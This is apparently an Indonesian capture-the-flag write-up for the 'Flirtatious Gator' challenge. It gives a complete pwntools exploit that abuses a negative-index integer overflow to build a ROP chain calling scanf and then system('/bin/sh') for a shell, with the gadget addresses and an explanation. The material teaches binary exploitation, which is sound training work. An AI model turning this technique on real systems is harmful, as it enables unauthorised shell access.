Flirtatious Gator (300 Points)

Masalah

Diberikan binary arr yang harus dieksploitasi agar mendapatkan akses shell pada server.

Penyelesaian

Binary ini memiliki kelemahan:

  1. Integer Overflow
  2. ROP Chain
  3. Shell

Eksploitasinya dapat dilakukan dengan script solver.py dibawah ini:

from pwn import *

context.log_level = 'debug'

r = remote('localhost', 229)

r.recvuntil('you? \n')
r.sendline('see') # name


r.recvuntil('index\n')
r.sendline(str(-2147483648 + 13))
r.recvuntil('value\n')
r.sendline(str(int('08048460',16)))


r.recvuntil('index\n')
r.sendline(str(-2147483648 + 14))
r.recvuntil('value\n')
r.sendline(str(int('080487ba',16)))


r.recvuntil('index\n')
r.sendline(str(-2147483648 + 15))
r.recvuntil('value\n')
r.sendline(str(int('0804882f',16)))

r.recvuntil('index\n')
r.sendline(str(-2147483648 + 16))
r.recvuntil('value\n')
r.sendline(str(int('08049b24',16)))

r.recvuntil('index\n')
r.sendline(str(-2147483648 + 17))
r.recvuntil('value\n')
r.sendline(str(int('08048430',16)))

r.recvuntil('index\n')
r.sendline(str(-2147483648 + 19))
r.recvuntil('value\n')
r.sendline(str(int('08049b24',16)))

r.recvuntil('index\n')
r.sendline('-1')
r.recvuntil('value\n')
r.sendline('10') # since we are done, we can make counter 10

r.recvuntil('0 0 0 0 0 0 0 0 0 0 ')
r.sendline('/bin/sh') # this is due to scanf that we put to stack

r.interactive()

Untuk ujicoba bisa jalankan binary secara lokal.

socat TCP-LISTEN:229,reuseaddr,fork EXEC:./arr

Penjelasan

Pada saat binary meminta input dalam variabel name dengan menggunakan scanf("%9s",&name);, binary tersebut akan membuat array dengan 10 integer, dan mengatur nilainya menjadi 0 dan meminta index dan value 10 kali, kemudian binary akan mencetak nilai seluruh elemen array tersebut.

Jika Anda memasukan nilai yang lebih dari atau sama dengan 10, maka binary akan memanggil fungsi exit. Meskipun begitu, binary tidak memeriksa apakah nilai tersebut positif atau negatif. Misal, jika Anda memasukan nilai -1 pada index dan -10 pada value, Anda dapat membuat counter -10 dan memasukan 20 nilai termasuk nilai 10. Hal tersebut juga terjadi jika Anda memasukan nilai -2147483648 + x sebagai indeks yang lebih kecil dibanding 10, namun hal tersebut akan mengakses arr[x] yang mengakibatkan integer overflow. Dengan menggunakan kelemahan tersebut, Anda dapat merubah nilai apapun pada stack.

Bagaimanapun, sejak Anda tidak mengetahui alamat stack, Anda tida bisa menulis shellcode dan mengembalikannya. Namun Anda bisa melihat lebih dalam penggunaan fungsi system dengan menggunakan IDA Pro. Anda bisa menggunakannya untuk memanggil /bin/sh. Oleh karena itu, Anda butuh pointer ke /bin/sh, sehingga Anda harus meletakkannya pada stack agar dapat diraih. Anda bisa melakukannya dengan mengirimkan alamat pada section .data ke fungsi scanf("%9s").

Address of .data is `0x08049b24` (we can find it using `readelf -S arr`)
Address of "%9s" is `0x0804882f` (we can find it using IDA or any other disassembler)
Address of scanf is `0x08048460` (also we can find it using any disassembler)
Address of system is `0x08048430` (also we can find it using any disassembler)

Anda akan mengubah return address ke fungsi scanf dan diberi parameter menggunakan stack. Jika sudah Anda bisa memanggilnya dengan fungsi system. Selain itu, Anda juga butuh ROP chain pop,pop,ret untuk argumen pada fungsi scanf.

Address of pop,pop,ret is `0x080487ba`

Sekarang Anda bisa membentuk payload dalam stack.

| scanf address(0x08048460)  | ret address(0x080487ba)(pop pop ret)  | address of %9s(0x0804882f) | write address(0x08049b24)(.data) |
| system address(0x08048430) | anything(return address after system) | 0x08049b24(.data)          |

Offset pertama yang dikembalikan bernilai 13 arr[13].

Referensi

results matching ""

    No results matching ""